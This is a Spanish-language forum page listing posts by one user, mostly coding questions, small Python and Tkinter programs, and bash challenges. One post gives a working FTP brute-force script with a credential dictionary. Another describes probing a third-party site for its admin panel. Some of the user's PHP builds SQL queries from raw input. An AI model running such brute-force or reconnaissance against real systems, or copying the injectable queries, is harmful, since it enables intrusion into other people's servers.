Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Runex

#1
Scripting / Xor des/encrypt python
21 Mayo 2012, 15:27 PM
Buenas compañeros :).

Estaba buscando alguna forma de cifrar un binario mediante Xor en Python y no he encontrado ninguna forma ( no sé si la habrá, puede ser que si ), el caso es que he preferido crearme yo un módulo propio por si acaso lo tengo que utilizar más veces.

Os dejo aquí el código, por si alguna vez lo necesitáis no tenéis más que buscar por el foro :).

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Modulo des/encriptacion clave Xor.

def xor_dencrypt(informacion,clave):
encrypted = ""
x = 0
if (len(informacion) == len(clave)):
while (x<len(informacion)):
if (informacion[x] == clave[x]):
encrypted = encrypted + str(0)
else:
encrypted = encrypted + str(1)
x += 1
else:
print "La longitud de la clave no coincide con la informacion a cifrar"
return encrypted


Para poder llamarlo únicamente importáis el módulo como cualquier otro y llamáis a la función xor_dencrypt, enviándole como parámetros la información a cifrar y la clave.

Para descifrar no he hecho ninguna función porque es únicamente un cifrado de la información ya cifrada, así que no vale la pena :)

Un saludo, Runex.


#2
Bases de Datos / Consulta Truncate
20 Mayo 2012, 02:53 AM
Buenas compañeros, no sé que me ha pasado pero se me ha ido de la cabeza la forma de usar truncate xD.

El caso es que para vaciar un usuario en concreto de una tabla de usuarios, si no recuerdo mal, utilizaba:

Código (sql) [Seleccionar]
truncate table usuarios where nombre="usuario";

Sin embargo esto me lanza el típico error:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where nombre="usuario"' at line 1

Y claro a éstas horas es difícil ya pensar, además buscando en google no he encontrado ningún caso en el que se utilice truncate con la condición where.

¿ Como se realizaría esa consulta ?.

Ya sé que también puedo vaciar el registro con
Código (sql) [Seleccionar]
update usuarios set xxx=xxx where nombre="usuario"; pero tengo la espina clavada del truncate xD.

Un saludo, Runex :)
#3
Scripting / BruteForce Ftp Python
17 Mayo 2012, 00:49 AM
Buenas compañeros, estaba haciendo un bruteforce ftp con python, pero tengo un par de problemas, uno de los cuales es la velocidad y otro el límite establecido de logueos fallidos. ¿ Alguna Idea ?

EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente :).
Resuelto el problema de los límites de fallos :)

Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes :D), utilizad el mismo diccionario para los usuarios y los passwords, solo tenéis que hacer una copia y renombrarla a passwords.txt: https://rapidshare.com/files/4215115057/usuarios.txt

Tened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.

Si os interesa que le aplique interfaz gráfica decidmelo :).

Este es el código:

Código (python) [Seleccionar]

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib

class ftp_brute_force:
def __init__(self,conectftp,target):
self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
try:
self.users = open("usuarios.txt","r")
self.passwords = open("passwords.txt","r")
except:
print "\n [-] No existen los diccionarios"
exit()
for self.user in self.users.readlines():
self.listausuarios.append(self.user)
self.contadorus += 1
for self.password in self.passwords.readlines():
self.listapasswords.append(self.password)
self.contadorpas += 1
self.users.close()
self.passwords.close()
print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
self.bruteforce()
def bruteforce(self):
for self.user in self.listausuarios:
for self.password in self.listapasswords:
try:
self.conectftp.login(self.user,self.password)
print "Los datos son --> " + self.user + " y " + self.password
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)
raw_input()
except:
print self.user + " y " + self.password + " no son correctos"
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)

print " [-] No se han podido extraer datos."

if __name__ == '__main__':
print " [+]   FTP CRACKER BY RUNE   [+]\n\n\n"
target = raw_input("\n\nIntroduce el target [+] > ")
try:
conectftp = ftplib.FTP(target)
except:
print " \n[-] No existe el target"
exit()
instancia = ftp_brute_force(conectftp,target)




Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:

0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.

¿ Se os ocurre algo ?

Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex :)
#4
GNU/Linux / Problema Xulrunner
14 Mayo 2012, 13:38 PM
No sé por qué motivo no me deja instalar xulrunner para poder correr websecurify. El error que me lanza es éste:


El paquete xulrunner-2.0 no está disponible, pero algún otro paquete hace referencia
a él. Esto puede significar que el paquete falta, está obsoleto o sólo se
encuentra disponible desde alguna otra fuente

E: El paquete «xulrunner-2.0» no tiene un candidato para la instalación


Alguna idea? :)
#5
Scripting / [Reto Bash] It's a dir?
12 Mayo 2012, 17:28 PM
Es el mismo reto que el planteado por EleKtro pero en bash, así que dificultad ninguna :).

Nombre:      It's a dir?
Dificultad:     2/10
Objetivo:      Diferenciar entre directorios y archivos
Indicaciones:
Ejemplo:    

Solución: http://pastebin.com/Z6WTYpAS

Solucionado:

1-> Leo Gutiérrez
#6
Nombre:      Generador
Dificultad:     2/10
Objetivo:      Calcular el tiempo de generación.
Indicaciones: El mensaje de salida debe indicar la cantidad de números generados.
Pistas:    Tampoco :)

Ejemplo:

#7
Scripting / [Reto Bash] Crackme 1
10 Mayo 2012, 18:50 PM
El primer crackme que inicia los retos Bash  ;-)
Es muy simple y aquí teneis las indicaciones:


Nombre:      Crackme Rune
Dificultad:     3/10
Objetivo:      Loguearse.
Indicaciones: Ninguna, es muy simple :)
Pistas:    Al final del code, está vuestra pista :)

Código (bash) [Seleccionar]
IyEvYmluL2Jhc2gKZWNobyAnSW5zZXJ0ZSBlbCB1c3VhcmlvJwpyZWFkIEEKeDU9NjUKeDY9NDUK
eDc9MzQKcD0keDYkeDckeDUKaWYgWyAkQSAhPSAkcCBdCnRoZW4KZWNobyAnTWFsJwpzbGVlcCAz
cwplbHNlCmVjaG8gJ1VzdWFyaW8gQ29ycmVjdG8nCmVjaG8gJ0EgY29udGludWFjaW9uIGluc2Vy
dGUgbGEgY29udHJhc2XDsWEnCngxPTEKeDI9NAp4Mz01Ngp4ND0yMwp4PSR4MSR4MyR4MiR4NApy
ZWFkIHBhc3MKaWYgWyAkcGFzcyA9ICR4IF0gCnRoZW4KZWNobyAnQ29udHJhc2XDsWEgY29ycmVj
dGEsIGFjY2VkaWVuZG8gYWwgcGFuZWwnCnNsZWVwIDRzCmV4aXQgMAplbHNlCmVjaG8gJ0NvbnRy
YXNlw7FhIGluY29ycmVjdGEnCnNsZWVwIDRzCmV4aXQKZmkKZmkKCg==


Completados:

1->RyogiShiki
#8
Scripting / Retos Bash y Python
10 Mayo 2012, 17:56 PM
Bueno, últimamente se han puesto de moda por el foro los retos Batch, así que no estaría mal que se viesen por aquí, retos en distintos lenguajes scripting.

Así, para gozar de una buena organización y orden , seguiremos el mismo esquema planteado por mi compañero EleKtro H@cker

Formato para publicar un reto:

Citar* Reto:             (Tú Nombre)
* Dificultad:      (X/10)
* Objetivo:        (Objetivo del reto)
 Indicaciones: (Indicaciones especiales, Si fuese necesario.)
 Pistas:            (S quieren dar pistas...)
 Ejemplo:         (Un código o una imagen de ejemplo para dar una pista, O para indicar un método NO ACEPTADO para realizar el reto.)

* Solo es obligatorio rellenar los campos marcados con un asterisco.

Formato para publicar un crackme:

Citar* Crackme:     (Tú Nombre)
* Dificultad:     (X/10)
* Objetivo:       (Objetivo del crackme)
 Indicaciones: (Indicaciones especiales, Si fuese necesario.)
 Pistas:           (S quieren dar pistas...)

* Código:

Código (bash) [Seleccionar]

echo "xxxxxxx"
...
...


* Solo es obligatorio rellenar los campos marcados con un asterisco.

Las normas, las podéis encontrar en el post de EleKtro:

http://foro.elhacker.net/scripting/iquestquieren_retos_de_batch-t360401.0.html

Eso es todo y un saludo :)
#9
PHP / Condicional defectuoso
9 Mayo 2012, 15:47 PM
El código es el siguiente:

Código (php) [Seleccionar]

<?php 
if(isset($_POST["usuariox"]) and isset($_POST["passwordx"]))
{
if($_POST['usuariox'] == "neo" and $_POST['passwordx'] == "matrixrevolution")
{
?>

<script type="text/javascript">
alert("Todo correcto, reto superado")
</script>
<META HTTP-EQUIV="REFRESH" CONTENT="0;URL="****">
<?php
$usuario $_COOKIE['Usuario'];
$conect mysql_connect("***","****","***") or die("Problemas en la db");
mysql_select_db("***") or die("Problemas en a tablaa");
$consulta mysql_query("update usuarios set superados = superados + 1 where nombre='$usuario'") or die("Problemas en la consulta");
}
else 
{
?>

<script type="text/javascript">
alert("Respuesta Incorrecta")
</script>
<?php
}
}
// Esta llave viene de un if, que hay más arriba del código para la comprobación de las cookies.
else 
{
?>

<script type="text/javascript" >
alert("Tienes que estar registrado!");
</script>
<META HTTP-EQUIV="REFRESH" CONTENT="0;URL=***">
<?php
}


No sé porque pero siempre me da como superado el reto, por mucho que inserte datos erróneos :S. Os agradecería que me aviséis si encontráis algún fallo lógico, error o cualquier cosa que pueda ocasionar el problema.

Podéis cerrar el tema, ya está corregido :)
Un saludo
#10
Desarrollo Web / Pie de Pagina HTML
8 Mayo 2012, 18:30 PM
Buenas compañeros, estaba acabando mi web y me interesaba ponerle un pie de página, el problema es que no sé css y no lo voy a utilizar para nada más que para esta situación, de momento claro. ¿Necesito css obligatorio para establecer una imágen fija como pie de página? o ¿Hay alguna solución con html?. En caso de que sepáis como co**** se puede hacer esto, os pido una ayudita :).


Un saludo compañeros :)
#11
WarZone / Problema Warzone
8 Mayo 2012, 14:23 PM
Tenía 37 puntos y hacía tiempo que no jugaba, me ha dado por meterme a pasarme una prueba y le ha tocado al reto de google. Lo he conseguido pasar (no lo tenía completado) y cuando le he dado la puntuación me ha salido que ya lo tenía hecho cuando esto no era así. Ahora me pone que la prueba está superada y no tengo manera alguna de subir la puntuación.

Algún admin que ayude a solucionarlo?

Un saludo Runex
#12
Buenas compañeros, como ya postee en el tema de PHP, me había animado a crear mi propia web con retos a lo "warzone" (aunque ni parecerse vamos xD) en el poco tiempo que me ofrecen los exámenes y la selectividad. Y bueno, me he planteado 4 retos, de los cuales están acabados 3, y no se me ocurría nada así especial, por eso necesito ayuda :).

Postead los retos que se os ocurran y no dudaré en implementarlos.

Muchas gracias compañeros :)

http://wargame.byethost9.com/
#13
Desarrollo Web / Problema panel de logueo
4 Mayo 2012, 13:34 PM
Buenas compañeros, me ha surgido otro error, el caso, es que quiero realizar un panel de logueo y si el usuario existe crear una cookie con sus datos, de lo contrario que salte un script diciendo que no existe el usuario.

He hecho esto:
Código (php) [Seleccionar]
<?php
$usuario $_POST["user"];
$pasword $_POST["pass"];
$consultados 0;
$conect mysql_connect("***","***","***") or die("Problemas en la db");
mysql_select_db("****") or die("Problemas en a tabla");
$consulta mysql_query("select nombre,password from usuarios where nombre='$usuario' and password='$password'") or die("Problemas en la consulta");
while($reg mysql_fetch_array($consulta))
{
$consultados $consultados 1;
if($reg['nombre']=$usuario and $reg['password']=$password)
{
setcookie("Usuario",$usuario);
}
else 
{
?>

<script type="text/javascript" >
alert("No existe el usuario");
</script>
<?php
}
}

?>


Sin embargo no me reconoce nada, ni llega a saltar script, ni crea la cookie.
Encontráis algún error lógico? :S

Gracias :)
#14
Desarrollo Web / Error PHP
3 Mayo 2012, 12:18 PM
Compañeros, no consigo localizar el problema en el código, me salta error, os lo dejo a ver si me echais una mano:

Código (php) [Seleccionar]
<?php
 
if (isset($_POST["user"]) and isset($_POST["pass"]))
 {
  
$conect mysql_connect("","","") or die("Problemas en la db");
 
mysql_select_db("b9_10627635_wargames") or die("Problemas en a tablaa");
 
$consulta mysql_query("insert into usuarios(nombre,password) values('$_POST["user"]','$_POST["pass"]')") or die("Problemas en la consulta"
#15
Desarrollo Web / Wargames By Rune
2 Mayo 2012, 21:15 PM
Buenas compañeros, aprovechando que estoy de exámenes y vuelvo a las 11 y media a mi casa, he iniciado un proyecto de wargames por mi cuenta. De momento la página está digamos en estado fetal xD, pero bueno por algo se empieza y en cuanto saque un poco de tiempo la iré completando.

Faltan algunas cosas por implementar, como el registro, el logueo, sistema de cookies etc pero lo más costoso lo he dejado para el final.

Os lo dejo aquí, y espero que os guste:

http://wargame.byethost9.com/

Un saludo :)
#16
Redes / Redireccionar llamadas
30 Abril 2012, 20:17 PM
Buenas compañeros, no sé si este tema irá aquí, pero no he encontrado ningún sitio 'más relacionado.
El caso es que mi profesor de tecnología, hace una cosa curiosa para entregar las notas.

Crea una base de datos MySql con los nombres, fecha de nacimiento y notas finales. Para saberla, se debe llamar a un número fijo con el prefijo de la comunidad 96139..., la llamada se redirecciona a su  Pc, y un sintetizador de voz, te pide la fecha de nacimiento, tu la dices, y en función de la fecha se realiza una consulta al servidor, para que devuelva los datos, osea ser mi nota. Todo ello emulado desde una maquina virtual, supongo VirtualBox, con S.O RedHat.

Quería saber, que utilidades se requieren para ello, porque vale realizar las query desde una consola de comandos con texto es fácil, pero interpretarla con la voz, leer los registros de la db y redireccionar la llamada a su servidor, es un poco jodido no?. ¿Puede ser que utilice DialPlan con MySql?

Espero vuestras respuestas, Un saludo  ;-)
#17
Programación C/C++ / Ordenación burbuja
28 Abril 2012, 01:35 AM
Buenas compañeros, estoy empezando otra vez con C++, me he acostumbrado a Python y se me está atascando  :-\.

Este es el código que llevo escrito:

Código (cpp) [Seleccionar]
#include <iostream>
using namespace std;

int main()
{
int array[10],x=0,acumulador,y=0,z=0;
while (x<10)
{
cin>>array[x];
x = x + 1;
}
while (y<10)
{
if (array[y]>array[y+1])
{
acumulador = array[y];
array[y] = array[y+1];
array[y+1] = acumulador;
y = y + 1;
}
}
while (z<10)
{
cout<<array[z];
               z = z + 1;
}
return 0;
}


En la primera parte, donde se introducen los 10 números para el array, a pesar de que aumento la variable de bucle, nunca para de pedir dígitos :S.

Un saludo :)
#18
Scripting / [Python] Cliente Ftp Tkinter
15 Abril 2012, 00:16 AM
Buenas compañeros, me ha dado por aplicarle interfaz a un viejo programa que cree, un cliente ftp.
Aún le faltan algunas cosas como una opción para retroceder de directorio y otra para subir archivos. Algún día de estos lo añadiré que me voy a la cama :).
Os recomiendo que lo guardéis en .pyw así no se ejecuta por detrás la ventana de comandos.
EDIT: Le he añadido nuevas opciones, la posibilidad de abrir nuevas más clientes en diferentes ventanas, guardar registros de tus movimientos en un txt, subir archivos y cerrar la conexión limpiando directorios y archivos, ahora cuando tenga tiempo le añado, la de retroceder, renombrar y eliminar, y con eso finalizaré :).

EDIT2: Bueno ya le he añadido las opciones que le faltaban y en mi opinión ya está terminado. Si encontráis algún bug, reportadmelo y lo corrijo gustosamente :)

Os dejo el código:

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-   
#Copyright 2012 jose <jose@jose-desktop>
from Tkinter import *
import ftplib,tkMessageBox
class Ftp_Client:

def __init__(self,root):
self.root = root
self.root.title("ClientFtp")
self.top=Menu(self.root)
self.root.config(menu=self.top)
self.file = Menu(self.top)
self.about = Menu(self.top)
self.about.add_command(label="Sobre mi",command=self.informacion,underline=0)
self.file.add_command(label="Abrir nueva ventana",command=self.ventana_x,underline=0)
self.file.add_command(label="Cerrar conexion",command=self.close_conection,underline=0)
self.file.add_command(label="Registro en txt",command=self.guardar_txt,underline=0)
self.top.add_cascade(label="File",menu=self.file)
self.top.add_cascade(label="About",menu=self.about)
self.root.configure(bg="black")
self.root.maxsize("700","550")
self.root.minsize("700","550")
self.url = StringVar()
self.listadescarga = []
self.listasubida = []
self.listaeliminados = []
self.listanombres = []
self.listarenombres = []
self.directorio = StringVar()
Label(self.root,fg="green",bg="black",text="Introduce tu servidor Ftp",justify="center",font=("Helvetica",18)).grid(padx=200)
self.entrada = Entry(self.root,width="40",textvariable=self.url)
self.entrada.grid(pady=15)
self.conectar = Button(self.root,text="Conectar",command=self.conect_Ftp)
self.conectar.grid(pady=15)
Label(self.root,fg="green",bg="black",text="Directorios",font=("Helvetica",16)).grid(pady=15)
self.listbox = Listbox(self.root,width="60")
self.listbox.grid(row=4,column=0)
self.directorios = Entry(self.root,textvariable=self.directorio,width="30")
self.directorios.grid(pady=15)
self.download = Button(self.root,text="Download",command=self.panel_descarga)
self.download.grid(row=7)
self.delete = Button(self.root,text="Eliminar",command=self.eliminar)
self.delete.grid(row=7,padx=465,columnspan=500)
self.avanzar = Button(self.root,text="Avanzar",command=self.avanzar)
self.avanzar.grid(row=6,column=0,padx=380,columnspan=270)
self.renombrar = Button(self.root,text="Rename",command=self.rename)
self.renombrar.grid(row=6,padx=380,columnspan=750)
self.retroceder = Button(self.root,text="Retroceder",command=self.retroceder)
self.retroceder.grid(row=6,pady=10)
self.upload = Button(self.root,text="Upload",command=self.panel_subida)
self.upload.grid(row=7,column=0,padx=290,columnspan=260)

def conect_Ftp(self):
try:
self.conectftp = ftplib.FTP(self.entrada.get())
self.window = Tk()
self.window.maxsize("300","280")
self.window.minsize("300","280")
self.window.title("Conectar Con Servidor")
self.window.configure(bg="black")
Label(self.window,fg="green",bg="black",text="Panel de Logueo",font=("Helvetica",15)).grid(padx=70)
self.user = StringVar()
self.password = StringVar()
Label(self.window,fg="green",bg="black",text="Usuario").grid(pady=10)
self.usuario = Entry(self.window,width="20",textvariable=self.user)
self.usuario.grid(pady=10)
Label(self.window,fg="green",bg="black",text="Password").grid(pady=10)
self.enpassword = Entry(self.window,width="20",textvariable=self.password)
self.enpassword.grid(pady=10)
self.logueo = Button(self.window,text="Loguear",command=self.log_Ftp)
self.logueo.grid(pady=15)
self.window.mainloop()
except:
tkMessageBox.showinfo("Error","No existe el servidor")

def log_Ftp(self):
try:
self.conectftp.login(self.usuario.get(),self.enpassword.get())
self.datos = [self.usuario.get(),self.enpassword.get()]
self.window.destroy()
self.listar_directorios()
except:
tkMessageBox.showinfo("Error","User y Pass Incorrectos")

def listar_directorios(self):
self.listbox.delete(0,END)
self.listadir = []
self.listbox.insert(END,"----Directorios----")
for self.directorio in self.conectftp.nlst():
self.listbox.insert(END,self.directorio)
self.listadir.append(self.directorio)

def avanzar(self):
try:
self.conectftp.cwd(self.directorios.get())
self.listar_directorios()
except:
tkMessageBox.showinfo("Error","No existe el directorio")

def panel_descarga(self):
self.paneldescarga = Tk()
self.paneldescarga.maxsize("300","200")
self.paneldescarga.minsize("300","200")
self.paneldescarga.title("Download")
self.paneldescarga.configure(bg="black")
Label(self.paneldescarga,text="Introduce el nombre para guardar el archivo",bg="black",fg="green").grid(pady=10)
self.nombre = StringVar()
self.nombreguardado = Entry(self.paneldescarga,textvariable=self.nombre)
self.nombreguardado.grid(pady=10)
self.guardar = Button(self.paneldescarga,text="Guardar",command=self.descarga)
self.guardar.grid(pady=10)
self.paneldescarga.mainloop()
def descarga(self):
try:
self.listadescarga.append(self.directorios.get())
self.archivolocal = open(self.nombreguardado.get(),'wb')
except:
tkMessageBox.showinfo("Error","No se ha podido guardar el archivo")
self.paneldescarga.destroy()
try:
self.conectftp.retrbinary('RETR '+self.directorios.get(),self.archivolocal.write)
self.paneldescarga.destroy()
except:
tkMessageBox.showinfo("Error","No existe el archivo")

def informacion(self):
tkMessageBox.showinfo("Sobre Mi","ClienteFtp 1.0 By Rune, alumno de 2 bachiller en el centro EPLA de valencia")

def ventana_x(self):
self.root2 = Tk()
self.instancia = ventana_2(self.root2)

def guardar_txt(self):
try:
self.archivodatos = open("Backup"+self.entrada.get()+".txt","a")
self.archivodatos.write("-------------------------------------------\n")
self.archivodatos.write("Conexion con: "+self.entrada.get()+"\n")
self.archivodatos.write("Usuario--->" +self.datos[0] +"\n")
self.archivodatos.write("Password--->" + self.datos[1] + "\n")
self.archivodatos.write("---Directorios Visualizados Del Servidor---\n")
for self.direct in self.listadir:
self.archivodatos.write(self.direct+"\n")
self.archivodatos.write("\n---Archivos Descargados---\n")
for self.archiv in self.listadescarga:
self.archivodatos.write(self.archiv + "\n")
self.archivodatos.write("\n---Archivos Subidos---\n")
for self.archivo in self.listasubida:
self.archivodatos.write(self.archivo + "\n")
self.archivodatos.write("\n---Archivos Renombrados---\n")
for self.nombre in self.listanombres:
self.archivodatos.write(self.nombre)
for self.renombre in self.listarenombres:
self.archivodatos.write("----->"+self.renombre+"\n")
self.archivodatos.write("\n---Archivos Eliminados---\n")
for self.eliminado in self.listaeliminados:
self.archivodatos.write(self.eliminado)
self.archivodatos.close()
except:
tkMessageBox.showinfo("Error","Compruebe que ha inicializado alguna conexion")

def panel_subida(self):
self.panelsubida = Tk()
self.panelsubida.maxsize("350","200")
self.panelsubida.minsize("350","200")
self.panelsubida.title("Upload")
self.panelsubida.configure(bg="black")
Label(self.panelsubida,text="Introduce el nombre del archivo junto con su directorio",bg="black",fg="green").grid(pady=10)
self.nombrex = StringVar()
self.nombrex2 = StringVar()
self.nombreguardados = Entry(self.panelsubida,textvariable=self.nombrex)
self.nombreguardados.grid(pady=10)
Label(self.panelsubida,text="Introduce el nombre para guardar el archivo",bg="black",fg="green").grid(pady=10)
self.nombresubir = Entry(self.panelsubida,textvariable=self.nombrex2)
self.nombresubir.grid(pady=10)
self.subir = Button(self.panelsubida,text="Subir",command=self.subida)
self.subir.grid(pady=10)
self.panelsubida.mainloop()

def subida(self):
try:
self.archivo_origen = open(self.nombreguardados.get(),"rb")
except:
tkMessageBox.showinfo("Error","El archivo no existe")
try:
self.conectftp.storbinary('STOR ' + self.nombresubir.get(),self.archivo_origen)
self.listar_directorios()
except:
tkMessageBox.showinfo("Error","No se ha podido subir el archivo")
self.listasubida.append(self.nombreguardados.get())
self.panelsubida.destroy()

def close_conection(self):
try:
self.conectftp.close()
self.listbox.delete(0,END)
except:
tkMessageBox.showinfo("Error","Compruebe que ha inicializado una conexion")
def retroceder(self):
try:
self.conectftp.cwd("..")
self.listar_directorios()
except:
tkMessageBox.showinfo("Error","Compruebe que ha inicializado una conexion")
def rename(self):
self.window_rename = Tk()
self.window_rename.configure(bg="black")
self.window_rename.title("Rename")
Label(self.window_rename,text="Introduce el nombre para renombrar",bg="black",fg="green").grid()
self.renombre = StringVar()
self.renombrar = Entry(self.window_rename,textvariable=self.renombre)
self.renombrar.grid()
self.acept = Button(self.window_rename,text="Renombrar",command=self.ejec_rename)
self.acept.grid()

def ejec_rename(self):
self.fromname = self.directorios.get()
self.toname = self.renombrar.get()
try:
self.conectftp.rename(self.fromname,self.toname)
self.listanombres.append(self.fromname)
self.listarenombres.append(self.toname)
self.listar_directorios()
except:
tkMessageBox.showinfo("Error","No existe el archivo")
self.window_rename.destroy()

def eliminar(self):
try:
self.conectftp.delete(self.directorios.get())
self.listaeliminados.append(self.directorios.get())
self.listar_directorios()
except:
tkMessageBox.showinfo("Error","No existe el archivo")


class ventana_2(Ftp_Client):
pass

if __name__ == "__main__":
root = Tk()
instance = Ftp_Client(root)
root.mainloop()
 


Un saludo :)
#19
Scripting / Libros de Bash en español?
11 Abril 2012, 12:59 PM
Buenas compañeros :).

Estoy hinchado de leer tutoriales web sobre bash, y me apetece leerme un buen libro sobre éste, por casualidad no sabréis de alguno que esté interesante?.

Eso es todo, gracias y saludos :)
#20
Scripting / [Python] [Juego] Sumas rápidas
11 Abril 2012, 02:00 AM
Bueno un compañero ha posteado en la sección de wargames un pequeño juego para realizar sumas,y al verlo me entraron ganas de hacerlo con GUI. Y nada aquí está el resultado, espero que os guste :)

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Tkinter import *
import random

class sumasrapidas:

def __init__(self,root,vidas):
self.num1 = IntVar()
self.vidas = vidas
self.numerox1 = random.randint(0,50)
self.numerox2 = random.randint(0,50)
self.root = root
self.root.configure(background="black")
self.root.title("Juego")
self.root.maxsize("190","145")
self.root.minsize("190","145")
Label(self.root,text="Sumas Rapidas",bg="black",fg="green").grid(row=0,column=3)
self.numero1 = Entry(self.root,textvariable=self.num1)
self.aceptar = Button(self.root,text="Aceptar",command=self.suma,fg="green",bg="black")
self.numero1.grid(row=1,column=3)
self.aceptar.grid(row=2,column=3)
Label(self.root,text=str(self.numerox1) + "+" + str(self.numerox2),bg="black",fg="green").grid(row=3,column=3)

def suma(self):
if int(self.numero1.get()) == self.numerox1 + self.numerox2:
Label(self.root,text="Correcto",bg="black",fg="green").grid(row=4,column=3)
Label(self.root,text="Tienes " + str(self.vidas) + " vidas",bg="black",fg="green").grid(row=5,column=3)
else:
Label(self.root,text="Incorrecto",bg="black",fg="green").grid(row=4,column=3)
self.vidas -= 1
Label(self.root,text="Tienes " + str(self.vidas) + " vidas",bg="black",fg="green").grid(row=5,column=3)
if self.vidas==0:
Label(self.root,text="Game Over",bg="black",fg="green").grid(row=6,column=3)
exit(0)
self.numerox1 = random.randint(0,50)
self.numerox2 = random.randint(0,50)
Label(self.root,text=str(self.numerox1) + "+" + str(self.numerox2),bg="black",fg="green").grid(row=3,column=3)
if __name__ == "__main__":
root = Tk()
vidas = 3
instancia = sumasrapidas(root,vidas)
root.mainloop()


Hay algunos fallitos pero bueno, nada importante.
Cuando acabe los exámenes añadiré más niveles y mejoraré la interfaz :).

Un saludo  ;-)
#21
Sé que no es nada nuevo, es más se suelen subir bastantes programas como éste, pero quería hacer otro aporte y aunque por el momento es bastante simple, lo he hecho en 5 minutos, y en una media hora más, tendré el programa con un aspecto visual más o menos bonito :).

Edit: He encontrado un problema con la conversión de Hex a Ascii, tengo más o menos claro el algoritmo de conversión, he intentado contar cada numero de la palabra en hex y añadirlo a una lista vacía, así cuando la longitud de la lista sea = 2, los numeros se convierten a ascii con chr() y se añaden a una variable de almacenamiento, resultado="". Pero hay algo que me está mareando con tanto self. por ahi xD :)

Os dejo aquí el simple código:

Código (python) [Seleccionar]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Tkinter import *
import string
class programa

def __init__(self):
self.root = Tk()
self.root.title("Conversor Ascii")
self.root.maxsize(width="500",height="500")
self.root.minsize(width="500",height="500")
self.a = StringVar()
self.b = StringVar()
self.entradascii = Entry(self.root,textvariable=self.a,width=20)
self.button = Button(self.root,text="To Hex",command = self.convertirhex)
self.entradahex = Entry(self.root,textvariable=self.b,width=20)
self.button2 = Button(self.root,text="To Ascii",command=self.convertirascii)
self.entradahex.grid(row=3,column=0)
self.button2.grid(row=3,column=1)
self.entradascii.grid(row=0,column=0)
self.button.grid(row=0,column=1)
self.root.mainloop()
def convertirhex(self):
self.palabra = self.entradascii.get()
self.resultado = ""
for self.letra in self.palabra:
self.resultado = self.resultado + hex(ord(self.letra))
self.resultado = "0x" + self.resultado.replace("0x","")
Label(self.root,text="Hex: " + self.resultado).grid(row=0,column=3)
def convertirascii(self):
self.palabra = self.entradahex.get()
self.lista = []
self.resultado = ""
for self.letra in self.palabra:
self.lista.append(int(self.letra))
if len(self.lista)==2:
self.par = string.join(self.lista)
self.resultado = self.resultado + chr(self.par)
print self.resultado

instancia = programa()
instancia

#22
Scripting / ¿Interfaz gráfica Python?
7 Abril 2012, 19:52 PM
Buenas compañeros :).

Quería información acerca de la mejor librería para gráficos en Python, estaba empezando con Tkinter pero según he escuchado Wx y PyQt son bastante buenas.

Y eso era todo, un saludo :)
#23
Seguridad / Panel Admin
6 Abril 2012, 18:37 PM
Buenas compañeros :).

No sé si este mensaje tendrá que ir aquí o en algún otro apartado, pero creo que éste es el más indicado :).

El caso es que quería encontrar el panel de una determinada web, y me estoy volviendo loco.

He probado buscando robots.txt, he hecho una busqueda automatizada de directorios admin mediante un script en python, he buscado todos los directorios de la web con site:web (no sale, por tanto no estará indexado en google) y he utilizado nmap para ver puertos abiertos y tiene los siguientes:



Cuando me conecto al puerto 3306 de la misma, me salta lo siguiente:

Host '188.79.177.224' is not allowed to connect to this MySQL server

Que más me aconsejáis hacer?.

Un saludo :)
#24
GNU/Linux / Distro de Linux para Notebook
4 Abril 2012, 14:52 PM
Buenas compañeros! :).

En nada, me tocará ir a pillar un notebook y quería saber que distro de Linux le conviene más, supongo que será este:

http://www.beep.es/asus-n55sf-sx456v-n55-series-1333-mhz-intel-core-i7-i7-2670qm-intel-hm65__ask2341.html

Soy usuario actual de Ubuntu y Debian, ya que mi Pc no es nada del otro mundo y con ellos obtengo el rendimiento que necesito.

Había pensado en hacer un Dual Boot Debian/Backtrack , Ubuntu/Backtrack o Arch/Backtrack ya que también me gusta bastante esta distro.

Que me podeis decir sobre ello?.

Gracias y un saludo :).
#25
Hardware / Duda portátiles
3 Abril 2012, 17:52 PM
Buenas compañeros :).

El año que viene empiezo el primer año de ingeniería informática, no tengo portátil y el sobremesa lo llevo aguantando 9 años sin tocarle nada, con un mínimo de mantenimiento semanal y ya no tira bien  :-[

El caso es que me tocará ir a comprar uno y estaba dudando entre estos 2:

http://www.beep.es/asus-zenbook-ux31e-ux31-series-1800-mhz-intel-core-i7-i7-2677m-2900-mhz-5__ask2284.html

http://www.beep.es/asus-n55sf-sx456v-n55-series-1333-mhz-intel-core-i7-i7-2670qm-intel-hm65__ask2341.html

He buscado solo Asus porque como marca, me parece bastante buena y atenta en el servicio al cliente pero estoy abierto a más recomendaciones :).

También lo quiero aguantar bastante tiempo, las cosas no están bien economicamente y una inversión así se tiene que amortizar por los tiempos de los tiempos XD.

